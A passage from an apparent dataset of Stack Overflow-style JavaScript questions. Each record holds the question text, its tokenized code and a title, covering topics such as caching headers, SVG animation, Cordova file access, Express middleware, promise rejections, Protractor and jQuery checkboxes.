itemText : `` & nbsp '' } ] ;",convert a string to javascript object "JS : I 'm trying to make my website load faster . I used the tool YSlow to analyze the website and check for some improvements . My first step is to cache static files . Therefore I want to set the expires headers for a javascript file , but it does n't work . I included the javascript in HTML like this : Then I changed my Apache2 httpd.conf file like this : The problem is that the javascript file still has a expiring date of 1 minute . I hope you can help me , thank you ! Solution : ExpiresByType application/javascript `` access plus 12 months '' < script type= '' text/javascript '' src= '' //a.ph3nx.com/b.js '' > < /script > ExpiresActive OnExpiresDefault `` access plus 1 minutes '' ExpiresByType text/javascript `` access plus 12 months ''",JavaScript expires headers ca n't be set to 12 months JS : I have a lot of useful snippets on JS.Like cl for console.log ( ) ; or fn for However I ca n't use them on *.ts files . How can manage the snippets and complation for js to ts also.Thanks function methodName ( arguments ) { // body ... },Sublime 3 JS Snippets to Typescript "JS : I 'm using Javascript , Jquery , SVG , and SVG.js right now . I would like to rotate a circle about its origin while it 's animating . The animation is doing the same thing , so I could use some sort of step function but I could n't find anything . The problem is that with my current solution the animation is janky , it has to stop the animation , rotate the circle , and then start it again . Which in sequence has too much of a delay and causes a wiggling motion . Here 's the setup code : And the executing code right now , which I need to change to something is here : Here 's the CodePen that I 'm working on right now to make it : Current Version or Bugged VersionIn short ( if you just skipped to the end here ) I need to rotate a circle without stopping the animation of the circle completely . I know that play ( ) , pause ( ) does n't work because I ca n't call rotate ( ) while the animations paused . var draw = SVG ( 'svg ' ) ; var innerCircle = draw.group ( ) .addClass ( `` atom0g0 '' ) .move ( 100,100 ) ; innerCircle.circle ( 100 ) .addClass ( `` atom0p0 '' ) .center ( 0 , 0 ) .attr ( { fill : `` white '' , stroke : `` blue '' , `` stroke-dasharray '' : `` 10 '' } ) ; innerCircle.animate ( 6000 ) .rotate ( 360 , 0 , 0 ) .loop ( ) ; var elms = $ ( `` .atom '' +atom.atom_id.toString ( ) + '' g0 '' ) ; for ( var j=0 ; j < elms.length ; j++ ) { // this is the problem , too much of a delay , therefore causing a wiggle motion . elms [ j ] .instance.animate ( ) .stop ( ) ; elms [ j ] .instance.rotate ( step , 0 , 0 ) ; elms [ j ] .instance.animate ( 6000 ) .rotate ( 360 , 0 , 0 ) .loop ( ) ; }",SVG Rotate Element While Animating svgjs "JS : Somehow I keep getting an `` error code 5 '' when trying to set the following right.What I want to do , is copy an existing file from the assets in android to an accessible spot on the android device to be able to share it across other apps ( like mail ) .Here is my code example : window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem ; var storagefolder = cordova.file.dataDirectory ; var storagefolderpointer ; console.log ( `` storage folder : `` + storagefolder ) ; // Check for support . if ( window.requestFileSystem ) { console.log ( `` filesystem beschikbaar '' ) ; var getFSfail = function ( ) { console.log ( 'Could not open filesystem ' ) ; } ; var getFSsuccess = function ( fs ) { var getDIRsuccess = function ( dir ) { console.debug ( 'Got dirhandle ' ) ; cachedir = dir ; fileurl = fs.root.fullPath + '/ ' + storagefolder ; storagefolderpointer = dir ; } ; var getDIRfail = function ( ) { console.log ( 'Could not open directory ' ) ; } ; console.debug ( 'Got fshandle ' ) ; FS = fs ; FS.root.getDirectory ( storagefolder , { create : true , exclusive : false } , getDIRsuccess , getDIRfail ) ; } ; window.requestFileSystem ( LocalFileSystem.PERSISTENT , 0 , getFSsuccess , getFSfail ) ; setTimeout ( function ( ) { console.log ( `` directory beschikbaar '' ) ; var suc = function ( entry ) { var goe = function ( ) { console.log ( `` copy success '' ) ; } ; var fou = function ( ) { console.log ( `` copy NOT NOT success '' ) ; } ; entry.copyTo ( storagefolder , `` vcard.vcf '' , goe , fou ) ; } ; var fai = function ( e ) { console.log ( `` fail getFile : `` + e.code ) ; } ; window.resolveLocalFileSystemURL ( storagefolderpointer + `` www/visitekaart/vcard.vcf '' , suc , fai ) ; } , 1000 ) ; } else { console.log ( `` filesystem NOT NOT NOT available '' ) ; }",Cordova : Not able to copy file on Android using Cordova "JS : I have some code below that I 'm using in my Express.js app to centralize some acl logic . If the function returns true or false explicitly the middleware can handle the next call . But if it does n't return it 's up to the authorize logic to execute next ( ) whenever it 's finished doing it 's thing . To avoid having to write out the error data , I want to just pass in an error ( ) function that can be called , which just calls the next function internally.Someone told me that this can lead to some kind of memory leaks since the next function is in it 's own closure and referencing it from outside . I see similar techniques being used in a lot of examples online , but I 'm still quite new to Node.js so wondering if there is any truth to this ? EDIT : Remove variables this.router.use ( function ( req , res , next ) { var err = { code : 403 , exception : 'UnauthorizedException ' , data : { } } , error = function ( ) { next ( err ) ; } , authorize = app.route.authorize ( req , res , next , error ) ; if ( authorize === false ) { next ( err ) ; } else if ( authorize === true ) { next ( ) ; } } ) ; this.router.use ( function ( req , res , next ) { var authorize = app.route.authorize ( req , res , next , function ( ) { next ( { code : 403 , exception : 'UnauthorizedException ' , data : { } } ) ; } ) ; if ( authorize === false ) { next ( { code : 403 , exception : 'UnauthorizedException ' , data : { } } ) ; } else if ( authorize === true ) { next ( ) ; } } ) ;",Node.js memory leaks ? JS : I was reading the Mozilla Developer Network docs on Float32Arrays when I came upon ... why is always 3 ? I also noticed that prototype property of the same name overrides it . Float32Array.lengthLength property whose value is 3 .,Why is the value of Float32Array.length always 3 ? "JS : I 'm following this example to validate date string.While this below example evaluates to true . This below example also evaluates to true even though it 's a bad date.By bad date I mean , that date does not exist in calendar.Is there a better way of doing it ? var date = new Date ( '12/21/2019 ' ) ; console.log ( date instanceof Date & & ! isNaN ( date.valueOf ( ) ) ) ; var date = new Date ( '02/31/2019 ' ) ; console.log ( date instanceof Date & & ! isNaN ( date.valueOf ( ) ) ) ;",Validation of Bad date in Javascript "JS : I 'm trying to find the source of an unhandled rejection from a Promise in Node.jsI 've tried upgrading to Node version 12 , using the -- async-stack-traces option , and listening for them using : But I still do n't see any helpful stack trace to help me find the culprit ! Running Node v10.10.0 process.on ( `` unhandledRejection '' , ( reason , promise ) = > { console.log ( reason ) ; console.log ( promise ) ; } ) ; UnhandledPromiseRejectionWarning : TypeError : Chaining cycle detected for promise # < Promise > at process._tickCallback ( internal/process/next_tick.js:68:7 ) ( node:89675 ) UnhandledPromiseRejectionWarning : Unhandled promise rejection . This error originated either by throwing inside of an async function without a catch block , or by rejecting a promise which was not handled with .catch ( ) . ( rejection id : 11 )",Finding source of unhandled promise rejection : TypeError : Chaining cycle detected for promise "JS : I follow these steps : Run swank-js in the command line.Run emacs.M-x slime-connect.Host : 127.0.0.1 ; Port : 4005Open up the http : //localhost:8009/swank-js/test.html in Firefox.Receive : `` Remote attached : ( browser ) Firefox14.0 '' in the emacs REPL.Run the command `` document '' in the REPL.At this point , I receive the error : Should I be using require ( ) or something ? I 'm still a bit hazy how swank/slime/node are communicating so please forgive the black box nature of this question . : D ReferenceError : document is not defined at repl:1:1 at DefaultRemote.evaluate ( /usr/lib/nodejs/swank-js/swank-handler.js:314:9 ) at Executive.listenerEval ( /usr/lib/nodejs/swank-js/swank-handler.js:414:21 ) at Handler.receive ( /usr/lib/nodejs/swank-js/swank-handler.js:169:20 ) at SwankParser.onMessage ( /usr/lib/nodejs/swank-js/swank.js:50:17 ) at SwankParser.handleMessage ( /usr/lib/nodejs/swank-js/swank-protocol.js:75:8 ) at SwankParser.handleContent ( /usr/lib/nodejs/swank-js/swank-protocol.js:62:10 ) at SwankParser.execute ( /usr/lib/nodejs/swank-js/swank-protocol.js:53:20 ) at Socket. < anonymous > ( /usr/lib/nodejs/swank-js/swank.js:60:16 ) at Socket.emit ( events.js:67:17 )",Why does swank-js give me `` document is not defined '' in the emacs REPL ? "JS : I have a div ( parentDivStyle ) with position absolute which is my parent div . Then I have 5 children ( childDivStyle ) div inside the parent div with position relative . I have set the overflow to hidden of the parent div . So some of the child divs are not visible . I would like to get the divs which are not visible by jquery . Is there any way ? I have googled it and most of the results where related to `` visible '' property , That is not what I want . And also I am not preferring any plugin . Any help please.CSSHTMLJSFIDDLE .parentDivStyle { overflow : hidden ; width:300px ; height:50px ; position : absolute ; background : # ccc ; float : left ; } .childDivStyle { width:100px ; height:50px ; position : relative ; float : left ; background : red ; border : 1px solid black ; } < div class= '' parentDivStyle '' > < div class= '' childDivStyle '' > 1 < /div > < div class= '' childDivStyle '' > 2 < /div > < div class= '' childDivStyle '' > 3 < /div > < div class= '' childDivStyle '' > 4 < /div > < div class= '' childDivStyle '' > 5 < /div > < /div >",Get non visible inner div "JS : I am creating one big array in controller , based on the database . Then in twig I display it . The problem is that sometimes , randomly , this array seems to be shuffled . After I refresh the page it 's normal , but then again it 's shuffled , there 's no pattern for when it is normal.PHP array in the controller looks good , there 's no problem with it . Then I pass it to the template : And then display it inside twig template : What happens now is that it sometimes causes the page to look like this : I created dump inside twig template to see what the array itself looks like , and I got : While when it 's ok it looks like this : What 's going on ? Why does that happen ? return $ this- > render ( 'AcmeBundle : FooController : bar.html.twig ' , [ 'allResults ' = > $ results ] ) ; { % for r in allResults % } { { r.id } } { { r.name } } { % endfor % } array ( size=437 ) 'karmv > psa ' = > array ( size=4 ) ; '' > 'id ' = > string 'karmv > psa ' ( length=13 ) ; '' > 'pid ' = > string 'lias= '' drapa v > zwierzat ' ( length=22 ) ; '' > 'pr '' uct_count ' = > string ' 1 ' ( length=1 ) ; '' > 'popularity ' = > string '766 ' ( length=3 ) 'wor dgimna = > array ( size=4 ) ; '' > 'id ' = > string 'wor dgimna ( length=18 ) ; '' > 'pid ' = > string ' y-ertcol-md-3 '' s ' ( length=16 ) ; '' > 'pr '' uct_count ' = > string ' 1 ' ( length=1 ) ; '' > 'popularity ' = > string '741 ' ( length=3 ) 'gadz elektroniczne ' = > array ( size=4 ) ; '' > 'id ' = > string 'gadz elektroniczne ' ( length=21 ) ; '' > 'pid ' = > string 'gadz array ( size=437 ) 'karma-dla-psa ' = > array ( size=4 ) 'id ' = > string 'karma-dla-psa ' ( length=13 ) 'pid ' = > string 'akcesoria-dla-zwierzat ' ( length=22 ) 'product_count ' = > string '41 ' ( length=1 ) 'popularity ' = > string '412 ' ( length=3 ) 'worki-gimnastyczne ' = > array ( size=4 ) 'id ' = > string 'worki-gimnastyczne ' ( length=18 ) 'pid ' = > string 'sport-dla-dzieci ' ( length=16 ) 'product_count ' = > string '151 ' ( length=1 ) 'popularity ' = > string '74 ' ( length=3 ) 'gadzety-elektroniczne ' = > array ( size=4 ) 'id ' = > string 'gadzety-elektroniczne ' ( length=21 ) 'pid ' = > string 'gadzety-komputerowe ' ( length=19 ) 'product_count ' = > string '71 ' ( length=2 ) 'popularity ' = > string '441 ' ( length=3 )",Array randomly shuffles while having ~ 500 rows in twig "JS : In Microsoft Edge , a GET request is not running . I have stepped through the code to the point of the AJAX request being run , and set a breakpoint in the callback ( s ) . However , the code never reaches the callbacks.I already have a .then ( ) and .fail ( ) setup with callbacks , and tried adding a .done ( ) and .always ( ) with callbacks , but none of the code in the callbacks is running.I then checked the network tab in dev-tools , and I can not find the request at all . It seems as though Edge is not firing the request off for some reason.This is what calls the request function above.This is the implementation used to make that request.Here is the cors stuff . ( I do n't know a whole lot about this . ) UPDATEIt looks like the issue is in easyXDM . waitForReady ( ) is not firing on ( window , `` message '' , waitForReady ) in edge . I 'm looking into the issue more now.easyXDM snippet : The above snippet runs , but the waitForReady method is never called . The only browser it 's not called in is Edge ( Works in IE8+ , Chrome , Safari , FF , and mobile chrome/safari ) . request = function ( options , resolveScope ) { var deferred = $ .Deferred ( ) ; corsHandler.makeRequest ( options ) .done ( this._wrap ( function ( response ) { deferred.resolveWith ( resolveScope , [ response ] ) ; //never gets here } , this ) ) .fail ( this._wrap ( function ( response ) { deferred.rejectWith ( resolveScope , [ response ] ) ; //never gets here } , this ) ) ; return deferred ; } ajaxFunc = function ( data , scope ) { return request ( { url : '/path/to/server ' , internalUrl : true , method : 'GET ' , datatype : 'json ' , data : data } , scope ) ; } ( function ( ) { // set data var return ajaxFunc ( data , self ) .then ( function ( res ) { console.log ( res ) ; } ) //never gets here .done ( function ( res ) { console.log ( res ) ; } ) //never gets here .fail ( function ( res ) { console.log ( res ) ; } ) //never gets here .finally ( function ( res ) { console.log ( res ) ; } ) //never gets here } ) ( ) ; corsHandler.makeRequest = function ( options ) { // resolve default options _.defaults ( options , { xhr : null , corsUrl : null , url : null , method : 'GET ' , data : { } , success : function ( ) { } , error : function ( ) { } , terminate : false , binary : false , headers : { } , internalUrl : false , datatype : `` } ) ; // if url is internal , create absolute url from relative url if ( options.internalUrl ) { options.url = this.createAbsoluteInternalUrl ( options.url ) ; } // resolve cors url or proxy url options.corsUrl = options.corsUrl || this.getCorsUrl ( options.url ) ; if ( ! options.corsUrl ) { options.url = this.getProxyUrl ( options.url ) ; options.corsUrl = this.getCorsUrl ( options.url ) ; } // create xhr if ( ! options.xhr & & options.corsUrl ) { options.xhr = this.createXhr ( options.corsUrl ) ; } // create cleanup procedure var cleanUpAfterRequest = $ .proxy ( function ( ) { if ( options.terminate ) { options.xhr.destroy ( ) ; this._removeCacheXhr ( options.corsUrl ) ; } } , this ) ; // prepare deffered object var deferred = $ .Deferred ( ) ; deferred .done ( function ( ) { if ( options.success ) { options.success.apply ( null , Array.prototype.slice.call ( arguments ) ) ; } } ) .fail ( function ( ) { if ( options.error ) { options.error.apply ( null , Array.prototype.slice.call ( arguments ) ) ; } } ) ; // make actual request if ( ! options.xhr ) { throw 'corsHandler : xhr object was not created or defined to make request ' ; // this does not happen } options.xhr.request ( { url : options.url , method : options.method , data : options.data , binary : options.binary , headers : options.headers , datatype : options.datatype } , function ( ) { deferred.resolve.apply ( null , Array.prototype.slice.call ( arguments ) ) ; cleanUpAfterRequest ( ) ; } , function ( ) { deferred.reject.apply ( null , Array.prototype.slice.call ( arguments ) ) ; cleanUpAfterRequest ( ) ; } ) ; return deferred ; } targetOrigin = getLocation ( config.remote ) ; if ( config.isHost ) { // add the event handler for listening var waitForReady = function ( event ) { if ( event.data == config.channel + `` -ready '' ) { // replace the eventlistener callerWindow = ( `` postMessage '' in frame.contentWindow ) ? frame.contentWindow : frame.contentWindow.document ; un ( window , `` message '' , waitForReady ) ; on ( window , `` message '' , _window_onMessage ) ; setTimeout ( function ( ) { pub.up.callback ( true ) ; } , 0 ) ; } } ; on ( window , `` message '' , waitForReady ) ; // set up the iframe apply ( config.props , { src : appendQueryParameters ( config.remote , { xdm_e : getLocation ( location.href ) , xdm_c : config.channel , xdm_p : 1 // 1 = PostMessage } ) , name : IFRAME_PREFIX + config.channel + `` _provider '' } ) ; frame = createFrame ( config ) ; }",Microsoft Edge easyXDM on ( `` message '' ) event not being called "JS : I am really confused about a CSS problem in IE9 browser . I have a webpage with textarea element with placeholder . I want to text-align : center ; the place-holder only , input text text-align is set to left.Please see my edits below.HtmlEverything works fine in IE 11 , Firefox , Chrome in Windows 8 , But when i look this webpage in to IE9 in Windows 7it 's not working < ! DOCTYPE html > < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head > < title > < /title > < style > textarea { width : 80 % ; height : 80px ; } : :-webkit-input-placeholder { text-align : center ; } : -moz-placeholder { text-align : center ; } : :-moz-placeholder { text-align : center ; } : -ms-input-placeholder { text-align : center ; } < /style > < /head > < body > < textarea rows= '' 2 '' cols= '' 21 '' id='txtnote ' class= '' testplaceholder '' maxlength= '' 500 '' placeholder= '' Note '' onblur= '' '' > < /textarea > < /body > < /html >",: -ms-input-placeholder is not working in IE9 in Windows 7 OS "JS : I have an array that I am using , I am having difficulties describing what kind of an array it is , which is making it hard for me to work with it . So far it works for me . I am just curious.I eventually want to remove the end of this array.I tried .pop ( ) and .grep ( ) . Its not working.Here is an example of my code.What I am trying to do is : For clarification I wont know the exact title of the option_label . var options = { } ; $ ( '.option : visible ' ) .each ( function ( ) { var option_label = `` '' ; var option_selected = [ ] ; var option_img = `` '' ; ... options [ option_label ] = { option_selected : option_selected , option_image : option_img } ; } ) ; if ( option_label.indexOf ( `` something '' ) ! = -1 ) { //then pop off options } //continue about your business",What is this array called ... and how to remove items from it "JS : When I click on the single checkbox , it changes and green colored . But when I check Full day , all checkboxes are checked but color not change . also after checking full Day , I uncheck all times still full day is checked . I 'm stuck , what wrong with this code ? $ ( document ) .ready ( function ( ) { $ ( 'input : checkbox [ name= '' time '' ] ' ) .change ( function ( ) { $ ( 'input : checkbox [ name= '' time '' ] : not ( : checked ) ' ) .parent ( ) .removeClass ( `` active '' ) ; $ ( 'input : checkbox [ name= '' time '' ] : checked ' ) .parent ( ) .addClass ( `` active '' ) ; } ) ; } ) ; function selectAll ( source ) { checkboxes = document.getElementsByName ( 'time ' ) ; for ( var i in checkboxes ) checkboxes [ i ] .checked = source.checked ; } .timing { width : 500px ; } .timing label { width : 100px ; display : inline-block ; border : 1px solid # ccc ; padding : 10px ; text-align : center ; cursor : pointer ; } .timing label input { display : block ; } .timing label.active { background-color : rgba ( 0 , 204 , 0 , 1 ) ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' timing '' > < label for= '' 11:30 '' > < input name= '' time '' class= '' timess '' value= '' 11:30 '' id= '' 11:30 '' type= '' checkbox '' > 11:30 < /label > < label for= '' 12:00 '' > < input name= '' time '' class= '' timess '' value= '' 12:00 '' id= '' 12:00 '' type= '' checkbox '' > 12:00 < /label > < label for= '' 12:30 '' class= '' '' > < input name= '' time '' class= '' timess '' value= '' 12:30 '' id= '' 12:30 '' type= '' checkbox '' > 12:30 < /label > < /div > < label for= '' selectall '' > < input type= '' checkbox '' id= '' selectall '' onClick= '' selectAll ( this ) '' / > Full Day < /label > < script > function selectAll ( source ) { checkboxes = document.getElementsByName ( 'time ' ) ; for ( var i in checkboxes ) checkboxes [ i ] .checked = source.checked ; } < /script >",On Change Event on working in jQuery "JS : I had to jump into jQuery development without getting too much time into learning all the associated basics , so there is one thing that throws me off quite a bit.I see two different ways our developers access jQuery objects : Case 1 : Case 2 : From my thin up to date knowledge , by wrapping a container as in var obj = $ ( container ) , we get a jQuery object obj that we can further work with.But then why do I see intermittently developers wrapping it again when using as in $ ( obj ) .doSomething ( ) ? Edit : the question suggested as duplicate is asking about best practices and although similar , my question is purely on understanding of jQuery object wrapping . var container = $ ( `` # containerId '' ) ; // Then use it as : container.hide ( ) ; var container = $ ( `` # containerId '' ) ; // Then use it as : $ ( container ) .hide ( ) ;",Using jQuery object understanding "JS : In a Chrome Extension , I 'm trying to get gmail compose body content.An error jumps out sporadically , and does not prevents it from working . This is being run as a content script . I believe permissions are not the issue here , because when there is a permission missing , the error is different and the operation is blocked by Chrome , definitely not the case.Error comes out in this line : where Any information on this error and a possible turnaround ? encodeURIComponent ( $ canvas.find ( 'iframe ' ) .contents ( ) .find ( 'body ' ) .text ( ) ) ; var $ canvas = $ ( ' # canvas_frame ' ) .contents ( ) ;",Inter frame SOP - Chrome Extension "JS : I have done a lot of unit tests using Karma , but my office would like to have some integration tests , especially testing cross browser capabilities . For this , it seemed Protractor was my best option , and I have started get get some basic dashboard tests going , but am stuck with safari.My Config : My only specAnd the errorAnybody know how to configure protractor for safari ? exports.config = { seleniumAddress : 'http : //localhost:4444/wd/hub ' , specs : [ 'scenarios/*Scenario.js ' ] , framework : 'jasmine ' , baseUrl : 'https : //www-dev.remeeting.com/ ' , multiCapabilities : [ { browserName : 'firefox ' } , { browserName : 'chrome ' } , { browserName : 'safari ' } ] , onPrepare : function ( ) { browser.driver.get ( 'https : //www-dev.remeeting.com/ ' ) ; browser.driver.findElement ( by.id ( 'email ' ) ) .sendKeys ( 'adam+test @ mod9.com ' ) ; browser.driver.findElement ( by.id ( 'password ' ) ) .sendKeys ( 'abc123 ' ) ; browser.driver.findElement ( by.id ( 'submit_btn ' ) ) .click ( ) ; // Login takes some time , so wait until it 's done . // For the test app 's login , we know it 's done when it redirects to // app/ # /d . return browser.driver.wait ( function ( ) { return browser.driver.getCurrentUrl ( ) .then ( function ( url ) { return /app\/ # \/d/.test ( url ) ; } ) ; } , 10000 ) ; } } ; describe ( 'Dashboard ' , function ( ) { it ( 'should login to the dashboard ' , function ( ) { expect ( element ( by.css ( '.dashboard ' ) ) .getText ( ) ) .toMatch ( /Upload Meeting/ ) ; expect ( element ( by.id ( 'refreshButton ' ) ) ) ; expect ( element ( by.css ( '.dashboard div.btn-group ' ) ) ) } ) ; } ) ; [ safari # 21 ] PID : 79079 [ safari # 21 ] Specs : /Users/adam/git/mrp- www/e2e/scenarios/dashboardScenario.js [ safari # 21 ] [ safari # 21 ] Using the selenium server at http : //localhost:4444/wd/hub [ safari # 21 ] ERROR - Unable to start a WebDriver session . [ safari # 21 ] Unknown command : setTimeout ( WARNING : The server did not provide any stacktrace information ) ... [ safari # 21 ] Driver info : org.openqa.selenium.safari.SafariDriver [ safari # 21 ] Capabilities [ { browserName=safari , takesScreenshot=true , javascriptEnabled=true , version=9.1 , cssSelectorsEnabled=true , platform=MAC , secureSsl=true } ] [ safari # 21 ] Session ID : null [ launcher ] Runner process exited unexpectedly with error code : 1 [ launcher ] 2 instance ( s ) of WebDriver still running",Safari WebDriver setTimeout using protractor exiting "JS : There is this article I saw long time ago : https : //coderwall.com/p/ngismaIt describes a method that triggers $ apply if we are not in an apply or digest phase.Angular has the $ scope. $ evalAsync method ( taken from 1.2.14 ) : Which calls digest if we are not in a phase and adds the current invocation to the asyncQueue.There is also the $ apply , $ digest and $ timeout methods.It is confusing.What is the difference between all ways mentioned to trigger a digest cycle ( a dirty check and data binding ) ? What is the use case for each method ? Is safeApply ( ) still safe ? : ) What alternative we have instead of that safeApply ( ) ( in case we call $ apply in the middle of a digest cycle ) ? $ scope.safeApply = function ( fn ) { var phase = this. $ root. $ $ phase ; if ( phase == ' $ apply ' || phase == ' $ digest ' ) { if ( fn & & ( typeof ( fn ) === 'function ' ) ) { fn ( ) ; } } else { this. $ apply ( fn ) ; } } ; $ evalAsync : function ( expr ) { // if we are outside of an $ digest loop and this is the first time we are scheduling async // task also schedule async auto-flush if ( ! $ rootScope. $ $ phase & & ! $ rootScope. $ $ asyncQueue.length ) { $ browser.defer ( function ( ) { if ( $ rootScope. $ $ asyncQueue.length ) { $ rootScope. $ digest ( ) ; } } ) ; } this. $ $ asyncQueue.push ( { scope : this , expression : expr } ) ; }",Compare ways of causing digest "JS : I have implemented a content fade in slide show inside the sliding content panel . Fade in slide show is in the first li of the sliding panel but the problem is since sliding is moving randomly I am not able to show the slide show . What I need is , Sliding should wait until the slideshow completes its animation . Once slideshow is done then the next li of the sliding panel should come up.Here is the code used for thatIf you wan na see the slideshow effect , please remove the slider code in js and then you can see how slideshow works . ( Here a fiddle to show only slideshow ) Here is the working DEMO ( in this demo the first sliding li has the slideshow div which cant be seen because sliding is moving fast ) Thanks in advance ... //Fade in slide showvar quotes = $ ( `` .inner_detail div '' ) ; var quoteIndex = -1 ; function showNextQuote ( ) { ++quoteIndex ; quotes.eq ( quoteIndex % quotes.length ) .fadeIn ( 2000 ) .delay ( 2000 ) .fadeOut ( 2000 , showNextQuote ) ; } showNextQuote ( ) ; //Slider $ ( ' # news-container ' ) .vTicker ( { speed : 800 , pause : 3000 , animation : 'fade ' , mousePause : false , showItems : 1 } ) ;",slideshow + carousel together in jquery "JS : If I try to load the d3.js library into my jupyter notebook it works fine with version 3.x . I can then go to the chrome console and the d3 object is available.If I do the same with version 4.x it is not available even though it is displayed in the sources tab of the chrome developer tools.What am I doing wrong ? from IPython.core.display import display , HTMLHTML ( ' < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js '' > < /script > ' ) from IPython.core.display import display , HTMLHTML ( ' < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/d3/4.10.0/d3.min.js '' > < /script > ' )",d3.js Loading version 3 vs version 4 in Jupyter Notebook "JS : I have 2 classes declared in a css file ( StyleSheet1.css ) , .Class1 and .Class2 . How do I choose between those two classes after CLICKING A BUTTON for my table tag ? CSS File : As much as possible I want to change classes using C # if possible , but if not , javascript maybe ? I 'm very new to ASP and C # , with a little experience in HTML . Regards < link href= '' Styles/StyleSheet1.css '' rel= '' stylesheet '' type= '' text/css '' / > < table class= '' Class1 '' > < tr > < td > Hello World ! < /td > < /tr > < /table > .Class1 { background-color : Blue ; } .Class2 { background-color : Red ; }",Choose a class for my table after button click ? ( HTML table ) "JS : I need your help please . In getting something work , I 've tried pulling up information from feeds and blog , yet it 's not trusted.Here is my code ... How To select and Get the text within the clicked on h4.I Just do n't know how to start , Please I need y'all help . Thanks . < div class= '' select_obj '' > < h4 > Promote Channel < /h4 > < /div > < div class= '' select_obj '' > < h4 > Increase Conversion on Site < /h4 > < /div > < div class= '' select_obj '' > < h4 > Increase Conversion on App < /h4 > < /div > ... < div class= '' select_obj '' > < h4 > Get Video View < /h4 > < /div >",How to Choose a Text within a Div with same class but multiple divs "JS : I do not know the webpage rendering lifecycle - so in the example below I have two hearts - one is animated by js and another one in CSS . When I block an event loop with an alert message , CSS heart remains animated . I 'm pretty sure it is due to the fact that CSS animation is being handled outside of javascript event loop , but I 'm not sure if my assumption is correct . The closest article that explains internals is this - Rendering Performance . However , it does not go deep enough . I will appreciate if someone explains this or points me to some digestible material to read/watch before I go hardcore and start looking for specs . Thanks in advance let scale = true ; setInterval ( ( ) = > { $ ( '.animate-js ' ) .css ( 'transform ' , ` scale ( $ { scale ? 1.4 : 1 } ) ` ) ; scale = ! scale ; } , 1000 ) body { text-align : center ; } .heart { white-space : nowrap ; display : inline-block ; font-size : 150px ; color : # e00 ; transform-origin : center ; } .animate-css { animation : beat 2s steps ( 2 , end ) infinite ; } /* Heart beat animation */ @ keyframes beat { to { transform : scale ( 1.4 ) ; } } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' heart '' > I < div class= '' animate-css heart '' > & # x2665 ; < /div > CSS < /div > < div class= '' heart '' > I < div class= '' animate-js heart '' > & # x2665 ; < /div > JS < /div > < br/ > < button onClick= '' alert ( 'hurray ! ' ) '' > I love it too < /button >",Why blocking event loop does not block css animation ? "JS : After execution of the above code elem is an instance of HTMLDivElement interface . My big question is what exactly addEventListener ( ) method does . In which DOM objects does it register the listener and how it does that ( which properties of these DOM objects it changes ) . In other words , I 'd like to know how elem is informed about the addition of a listener , which of its properties ( all of them down to its prototype chain ) are affected . For example I know that Event.prototype has crucial properties like type , target ; however I can not `` connect '' them with elem ... I do not want to find which event listeners are attached to the above DOM node . I want to know the inner procedures.Thank you var elem=document.getElementById ( 'mydiv ' ) ; elem.addEventListener ( 'click ' , function ( ) { ... } ) ;",How does addEventListener work under the hood ? "JS : I face something I do n't understand with an array . Indeed , I created an array I have filled with empty subArrays to obtain a 2D Matrix.But when I manipulate the array it does n't behave as I expected.Every lights on this matter will be welcomed var arr = new Array ( 5 ) ; arr.fill ( [ ] ) ; arr [ 2 ] .push ( `` third rank item '' ) ; console.log ( arr ) ; // [ [ 'third rank item ' ] , // [ 'third rank item ' ] , // [ 'third rank item ' ] , // [ 'third rank item ' ] , // [ 'third rank item ' ] ]",Strange behavior of an array filled by Array.prototype.fill ( ) "JS : I am reading the book `` Functional Programming in Javascript '' .In Chapter 2 there is the following comparison between imperative/functional code for finding the first four words containing only letters in a string : ImperativeFunctionalI reasoned that for any case where the length of text is greater than four , the imperative version will be faster , since it only runs up to finding the first four words that match the criteria , while the functional version first filters the entire array and only then slices apart the first four elements.My questions is , am I right in assuming this ? var words = [ ] , count = 0 ; text = myString.split ( ' ' ) ; for ( i=0 ; count < 4 , i < text.length ; i++ ) { if ( ! text [ i ] .match ( / [ 0-9 ] / ) ) { words = words.concat ( text [ i ] ) ; count++ ; } } var words = [ ] ; var words = myString.split ( ' ' ) .filter ( function ( x ) { return ( ! x.match ( / [ 1-9 ] +/ ) ) ; } ) .slice ( 0,4 ) ;",Is functional programming less efficient for this case ? "JS : I have multiple classes called post-content on div and have a search box , who 's event is fired on keyup . If there 's no matching result , I 'd like to display 'No results match ' I tried creating the element inside the else block , but it seems to fire everytime the key is pressed , thus printing the entire page with the event . $ ( '.post-content ' ) .each ( function ( ) { $ ( this ) .attr ( 'data-search-term ' , $ ( this ) .text ( ) .toLowerCase ( ) ) ; } ) ; $ ( ' # search-criteria ' ) .on ( 'keyup ' , function ( ) { var searchTerm = $ ( this ) .val ( ) .toLowerCase ( ) ; $ ( '.post-content ' ) .each ( function ( ) { if ( $ ( this ) .filter ( ' [ data-search-term *= ' + searchTerm + ' ] ' ) .length > 0 ) { $ ( this ) .show ( ) ; } else { $ ( this ) .hide ( ) ; } } ) ; } ) ;",Display when no results found on keyup event "JS : So 16.4 `` fixes '' a bug in getDerivedStateFromProps and now it gets fired both on props change and on state change . Obviously this is intended , coming from this post : https : //github.com/facebook/react/issues/12898 . However for me , saving previous props in the state is a major overkill , so I am asking if someone has made a procedure in coping with a case like this : So in this above case , I will never ever have change in the input , because getDerivedStateFromProps will execute both on new props received and on the setState trigger , and my condition will never even be false.So what is the correct way to handle this situation ? Do I need to really keep the old props in the state and use them for conditions as well ? I just saw this post from React but they do not offer a working alternative . Thanks for your help ! class Componentche extends React.Component { state = { valuesForInput : { input1 : `` } } static getDerivedStateFromProps ( props , state ) { if ( props.someInitialValuesForInput.input1 ! == state.valuesForInput.input1 ) { return { valuesForInput : { ... state , input1 : props.someInitialValuesForInput.input1 } } } return state ; render ( ) { < Input value='valuesForInput.input1 ' onChange= ' ( e ) = > setState ( { valuesForInput : { ... this.state , input1 : e.target.value } } ) ' } }",React 16.4 enables getDerivedStateFromProps to be called from state change . How to cope with that ? JS : Is it possible to make Eslint rule that supports custom import orderI want to trigger Eslint warning or error upon having following invalid order.i.eInvalid : Valid : import utilsMicky from 'utils/micky ' ; import containersMicky from'containers/micky ' ; import componentsMicky from 'components/micky ' ; import containersMicky from 'containers/micky ' ; import utilsMicky from 